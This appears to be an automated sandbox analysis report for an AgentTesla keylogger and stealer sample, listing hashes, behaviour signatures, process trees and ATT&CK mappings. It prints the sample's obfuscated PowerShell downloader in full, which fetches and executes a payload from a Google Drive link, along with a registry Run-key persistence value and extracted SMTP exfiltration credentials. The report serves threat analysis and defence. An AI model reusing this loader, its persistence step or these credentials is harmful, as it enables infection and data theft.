agenttesla | 836259b5e47a4d9f6fdd2955e69645b8aa70bca6d139b0eb99038641db38dbe6

General

Target

836259b5e47a4d9f6fdd2955e69645b8aa70bca6d139b0eb99038641db38dbe6.vbs
Size

5KB
MD5

4f71bc91cc015856a2a5029d880f02f0
SHA1

3f9e609f67057c573a15f469e4bb5e64c571174c
SHA256

836259b5e47a4d9f6fdd2955e69645b8aa70bca6d139b0eb99038641db38dbe6
SHA512

30de245e61fd2cf7462a9e4949a04acfd17da6ffd074886d440b11f76bc4c28b336a9a5ced2785695fa8049348cc152d35b43ab487ff193e6f001a3d23243c38
SSDEEP

96:Q7ZrI+0JYJMAAiOL1vOZypNWiu/hlbz9cZh+xFUMLCT0MTUmdrQfp:Q150+GAAlOZypNWiu/hlPahKLCQMUhfp

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.blachownia.pl
Port:
587
Username:
[email protected]
Password:
Zamowienia-2017
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

3 2848 powershell.exe
5 2848 powershell.exe

flow	pid	process
3	2848	powershell.exe
5	2848	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

wab.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

2 drive.google.com
3 drive.google.com
8 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2552 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2504 powershell.exe
2552 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2504 set thread context of 2552 2504 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

2848 powershell.exe
2504 powershell.exe
2504 powershell.exe
2552 wab.exe
2552 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2504 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2848 powershell.exe
Token: SeDebugPrivilege 2504 powershell.exe
Token: SeDebugPrivilege 2552 wab.exe

flow	ioc
2	drive.google.com
3	drive.google.com
8	drive.google.com

pid	process
2552	wab.exe

pid	process
2504	powershell.exe
2552	wab.exe

description	pid	process	target process
PID 2504 set thread context of 2552	2504	powershell.exe	wab.exe

pid	process
2848	powershell.exe
2504	powershell.exe
2504	powershell.exe
2552	wab.exe
2552	wab.exe

pid	process
2504	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeDebugPrivilege	2552	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2280 wrote to memory of 2848	2280	WScript.exe	powershell.exe
PID 2280 wrote to memory of 2848	2280	WScript.exe	powershell.exe
PID 2280 wrote to memory of 2848	2280	WScript.exe	powershell.exe
PID 2848 wrote to memory of 2956	2848	powershell.exe	cmd.exe
PID 2848 wrote to memory of 2956	2848	powershell.exe	cmd.exe
PID 2848 wrote to memory of 2956	2848	powershell.exe	cmd.exe
PID 2848 wrote to memory of 2504	2848	powershell.exe	powershell.exe
PID 2848 wrote to memory of 2504	2848	powershell.exe	powershell.exe
PID 2848 wrote to memory of 2504	2848	powershell.exe	powershell.exe
PID 2848 wrote to memory of 2504	2848	powershell.exe	powershell.exe
PID 2504 wrote to memory of 2924	2504	powershell.exe	cmd.exe
PID 2504 wrote to memory of 2924	2504	powershell.exe	cmd.exe
PID 2504 wrote to memory of 2924	2504	powershell.exe	cmd.exe
PID 2504 wrote to memory of 2924	2504	powershell.exe	cmd.exe
PID 2504 wrote to memory of 2552	2504	powershell.exe	wab.exe
PID 2504 wrote to memory of 2552	2504	powershell.exe	wab.exe
PID 2504 wrote to memory of 2552	2504	powershell.exe	wab.exe
PID 2504 wrote to memory of 2552	2504	powershell.exe	wab.exe
PID 2504 wrote to memory of 2552	2504	powershell.exe	wab.exe
PID 2504 wrote to memory of 2552	2504	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\836259b5e47a4d9f6fdd2955e69645b8aa70bca6d139b0eb99038641db38dbe6.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Semistarved = 1;$Fortrnges='Sub';$Fortrnges+='strin';$Fortrnges+='g';Function Bogievognenes83($Bldgringsmidler89){$Lovgav=$Bldgringsmidler89.Length-$Semistarved;For($Twentythree=1;$Twentythree -lt $Lovgav;$Twentythree+=2){$Irrigably+=$Bldgringsmidler89.$Fortrnges.Invoke( $Twentythree, $Semistarved);}$Irrigably;}function Kalkbrnderens($Chokprisers){.($Posedes) ($Chokprisers);}$Vgavis=Bogievognenes83 '.M,oIz i lElUaB/,5 . 0p ( W iin dKo.wSsT ,NhT, I1S0W. 0 ;E SW iHnI6.4p;A Ex 6P4,;D ,rFvE: 1,2U1,. 0O)D .GCe.c,k oV/D2 0S1 0N0V1R0m1L .F,iEr.e fgoPx,/H1r2,1 .v0B ';$Discrowning136=Bogievognenes83 'OU sGe r.-LASgSe,n tL ';$oplagre=Bogievognenes83 'BhGtUt.pSs :C/k/IdPrHiSv eL.Pg odoTgSl ev. c oMm./FuGcB?aeBx.p.o.rWtP=Sd,o wTnEl,oSa d.& i d,= 1R0GUGUce.zNT,z p HBZKcFo.M.wNW asrB5OfULOvRh.K jRmtqUrF0S1 mAbSfT ';$Flitwite=Bogievognenes83 'M>L ';$Posedes=Bogievognenes83 'TiSeAx ';$Bothriums='Eksemplarers';$Spatheful26 = Bogievognenes83 'De,cSh,oS % aDpSp,dFaAt.a %B\ RLuAhCa,a,rJe d e .STAa.lP &,&c IeScOh.oD tL ';Kalkbrnderens (Bogievognenes83 ' $,g l.o bEa l :UF o cBu.sFePsS= (,c mSd ./ cR $CSFp.aTt.hCe f,uPlO2D6,). ');Kalkbrnderens (Bogievognenes83 'B$ g lSo b aMl,: K a rMlGetk aSm rKe tF=P$Uo.pIl aHgIrPe,. s.p,l i t (,$IFVlGiDt w,iDt,eB) ');$oplagre=$Karlekamret[0];$Topvinklers= (Bogievognenes83 'F$TgBlIo bTaDlS:,S.oMlOoTeIr s,=ENPeBw,-AO b j,e,c t CSWyEsTt eLm .TNFe.t . WLe b C lci eUn,t');$Topvinklers+=$Focuses[1];Kalkbrnderens ($Topvinklers);Kalkbrnderens (Bogievognenes83 ' $ SWoBlGote rTsK.RH.e a dUeOr s [U$SDDi sFc rRoOw.ndiTnSg,1.3 6I].=S$BVPgEaBvIi.s ');$Rejen=Bogievognenes83 'T$DS,o lFo eNrSsp. DSoDwAn l oMaBd F.iGlOe.(N$Lo psl,aVg r,eS,D$DMOe gBa,lso,m.aMnbi cE) ';$Megalomanic=$Focuses[0];Kalkbrnderens (Bogievognenes83 ',$Pg lHo.bPaWlS:UWOhTiPsIkAiEnT=P(BTIe,sFtS- PHa t h .$ MSeAgEa,l o mPa n iMc,), ');while (!$Whiskin) {Kalkbrnderens (Bogievognenes83 ',$FgQl,oIbSa l :EFBo.rKt.u.n,aCtBe.lHy =S$,tVr,uSe ') ;Kalkbrnderens $Rejen;Kalkbrnderens (Bogievognenes83 ' S tAaBrOtA- S.l,e.eOpB 4 ');Kalkbrnderens (Bogievognenes83 'I$.g l,oSbNa.l,:VWKheiBs.k i nM= ( Tte sIt - PKaPt h, B$ M,eMgDaBlRoDmuaPn isc.), ') ;Kalkbrnderens (Bogievognenes83 'H$ gLlKoSb,aSlB: BBeSn vBa r m eSr ndeusN=P$bg,lAoLbra,l,: tFeSl eGf oPtGoPe t +D+,%.$ K aSr lSeHk aKmOrTeFt .Vc o uUn t, ') ;$oplagre=$Karlekamret[$Benvarmernes];}$Taximeters=346626;$resummon=26683;Kalkbrnderens (Bogievognenes83 'N$ gSl o b aPlD:PCPoMnWdPoUtSt iSe rBi. =G ,GSe.tV-CCCoCnmt e n.t, .$ MFe.gSaBl,oUmHa.n,isc ');Kalkbrnderens (Bogievognenes83 ' $Sg l.oAb a,l :NSStUrCaNnUg lBe,mfeAn tU R=C [AS,y s.tSe mD.HCgo nIvCe r t,]E: : FUrSo.mABFa s eS6 4PSBtSrLi n,gA(S$FC oTnLdSo t tMiKe.rAi,). ');Kalkbrnderens (Bogievognenes83 ' $SgDlLo b aRl : C hAa.m.b,e r e d, =F H[ESby s.t.eRm .TT eFx tC. E.n c,oUd i nBg,]T:O:HA,S CMITIT.,GFeMtKS t rri n.gX(.$FS tSrFaDn gHl e mAe,n tI) ');Kalkbrnderens (Bogievognenes83 'B$.g,l.o.bra lO:,VNaRlFu,t aMkJuLr sOe rS=.$.C h a mAb e,r eCd .Ls u,bHsStrrFiSnMgU(.$.T.aBxSi mMe,t eMr sB, $ r e s u,m,mPoKn ), ');Kalkbrnderens $Valutakurser;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2848

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ruhaarede.Tal && echo t"
3⤵
PID:2956

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Semistarved = 1;$Fortrnges='Sub';$Fortrnges+='strin';$Fortrnges+='g';Function Bogievognenes83($Bldgringsmidler89){$Lovgav=$Bldgringsmidler89.Length-$Semistarved;For($Twentythree=1;$Twentythree -lt $Lovgav;$Twentythree+=2){$Irrigably+=$Bldgringsmidler89.$Fortrnges.Invoke( $Twentythree, $Semistarved);}$Irrigably;}function Kalkbrnderens($Chokprisers){.($Posedes) ($Chokprisers);}$Vgavis=Bogievognenes83 '.M,oIz i lElUaB/,5 . 0p ( W iin dKo.wSsT ,NhT, I1S0W. 0 ;E SW iHnI6.4p;A Ex 6P4,;D ,rFvE: 1,2U1,. 0O)D .GCe.c,k oV/D2 0S1 0N0V1R0m1L .F,iEr.e fgoPx,/H1r2,1 .v0B ';$Discrowning136=Bogievognenes83 'OU sGe r.-LASgSe,n tL ';$oplagre=Bogievognenes83 'BhGtUt.pSs :C/k/IdPrHiSv eL.Pg odoTgSl ev. c oMm./FuGcB?aeBx.p.o.rWtP=Sd,o wTnEl,oSa d.& i d,= 1R0GUGUce.zNT,z p HBZKcFo.M.wNW asrB5OfULOvRh.K jRmtqUrF0S1 mAbSfT ';$Flitwite=Bogievognenes83 'M>L ';$Posedes=Bogievognenes83 'TiSeAx ';$Bothriums='Eksemplarers';$Spatheful26 = Bogievognenes83 'De,cSh,oS % aDpSp,dFaAt.a %B\ RLuAhCa,a,rJe d e .STAa.lP &,&c IeScOh.oD tL ';Kalkbrnderens (Bogievognenes83 ' $,g l.o bEa l :UF o cBu.sFePsS= (,c mSd ./ cR $CSFp.aTt.hCe f,uPlO2D6,). ');Kalkbrnderens (Bogievognenes83 'B$ g lSo b aMl,: K a rMlGetk aSm rKe tF=P$Uo.pIl aHgIrPe,. s.p,l i t (,$IFVlGiDt w,iDt,eB) ');$oplagre=$Karlekamret[0];$Topvinklers= (Bogievognenes83 'F$TgBlIo bTaDlS:,S.oMlOoTeIr s,=ENPeBw,-AO b j,e,c t CSWyEsTt eLm .TNFe.t . WLe b C lci eUn,t');$Topvinklers+=$Focuses[1];Kalkbrnderens ($Topvinklers);Kalkbrnderens (Bogievognenes83 ' $ SWoBlGote rTsK.RH.e a dUeOr s [U$SDDi sFc rRoOw.ndiTnSg,1.3 6I].=S$BVPgEaBvIi.s ');$Rejen=Bogievognenes83 'T$DS,o lFo eNrSsp. DSoDwAn l oMaBd F.iGlOe.(N$Lo psl,aVg r,eS,D$DMOe gBa,lso,m.aMnbi cE) ';$Megalomanic=$Focuses[0];Kalkbrnderens (Bogievognenes83 ',$Pg lHo.bPaWlS:UWOhTiPsIkAiEnT=P(BTIe,sFtS- PHa t h .$ MSeAgEa,l o mPa n iMc,), ');while (!$Whiskin) {Kalkbrnderens (Bogievognenes83 ',$FgQl,oIbSa l :EFBo.rKt.u.n,aCtBe.lHy =S$,tVr,uSe ') ;Kalkbrnderens $Rejen;Kalkbrnderens (Bogievognenes83 ' S tAaBrOtA- S.l,e.eOpB 4 ');Kalkbrnderens (Bogievognenes83 'I$.g l,oSbNa.l,:VWKheiBs.k i nM= ( Tte sIt - PKaPt h, B$ M,eMgDaBlRoDmuaPn isc.), ') ;Kalkbrnderens (Bogievognenes83 'H$ gLlKoSb,aSlB: BBeSn vBa r m eSr ndeusN=P$bg,lAoLbra,l,: tFeSl eGf oPtGoPe t +D+,%.$ K aSr lSeHk aKmOrTeFt .Vc o uUn t, ') ;$oplagre=$Karlekamret[$Benvarmernes];}$Taximeters=346626;$resummon=26683;Kalkbrnderens (Bogievognenes83 'N$ gSl o b aPlD:PCPoMnWdPoUtSt iSe rBi. =G ,GSe.tV-CCCoCnmt e n.t, .$ MFe.gSaBl,oUmHa.n,isc ');Kalkbrnderens (Bogievognenes83 ' $Sg l.oAb a,l :NSStUrCaNnUg lBe,mfeAn tU R=C [AS,y s.tSe mD.HCgo nIvCe r t,]E: : FUrSo.mABFa s eS6 4PSBtSrLi n,gA(S$FC oTnLdSo t tMiKe.rAi,). ');Kalkbrnderens (Bogievognenes83 ' $SgDlLo b aRl : C hAa.m.b,e r e d, =F H[ESby s.t.eRm .TT eFx tC. E.n c,oUd i nBg,]T:O:HA,S CMITIT.,GFeMtKS t rri n.gX(.$FS tSrFaDn gHl e mAe,n tI) ');Kalkbrnderens (Bogievognenes83 'B$.g,l.o.bra lO:,VNaRlFu,t aMkJuLr sOe rS=.$.C h a mAb e,r eCd .Ls u,bHsStrrFiSnMgU(.$.T.aBxSi mMe,t eMr sB, $ r e s u,m,mPoKn ), ');Kalkbrnderens $Valutakurser;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2504

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Ruhaarede.Tal && echo t"
4⤵
PID:2924

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2552

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZW5X2BD2P810RGBHQK21.temp
Filesize
7KB

MD5
4f3ed4a9cee1a22c34fd4130ffdf74d2

SHA1
a4ad867174c2faa1009bfc8869c8ea7e94970136

SHA256
f59b5633be8cda57b2f94b3a02eaa3cdfcbc0ff2cbf09f5af07a504de762423a

SHA512
ce49b9f9a82009264de3943195d153d142749d79f73b39697687305ac085fb0995538a88cd07136c929e57da765847111f0c0afe58fd23ec1550a043a4249601

Download Submit
C:\Users\Admin\AppData\Roaming\Ruhaarede.Tal
Filesize
486KB

MD5
1bfa03c6f53315482c87ac075d5e4898

SHA1
e2252b3662c2989cef2233e1d5fa7554bf8e5bd8

SHA256
806ff71ceaf81fe7073d40617e7ccb34e4e9430fcccb5469c88e195e3c68eaf2

SHA512
47e7a36d739e740f0b2d89694c1c670315b9efc29c4a710ddfab5f6aa2cdcbaaad605eec17ef33e3b53c2023a112eb2de09c3be6c2f6e59df404d337e68255a8

Download Submit
memory/2504-17-0x0000000006560000-0x00000000095F1000-memory.dmp

Filesize
48.6MB

Download
memory/2552-43-0x0000000000570000-0x00000000005B2000-memory.dmp

Filesize
264KB

Download
memory/2552-41-0x0000000000570000-0x00000000015D2000-memory.dmp

Filesize
16.4MB

Download
memory/2848-8-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-10-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-11-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-9-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-4-0x000007FEF5E8E000-0x000007FEF5E8F000-memory.dmp

Filesize
4KB

Download
memory/2848-7-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-18-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-19-0x000007FEF5E8E000-0x000007FEF5E8F000-memory.dmp

Filesize
4KB

Download
memory/2848-6-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2848-42-0x000007FEF5BD0000-0x000007FEF656D000-memory.dmp

Filesize
9.6MB

Download
memory/2848-5-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads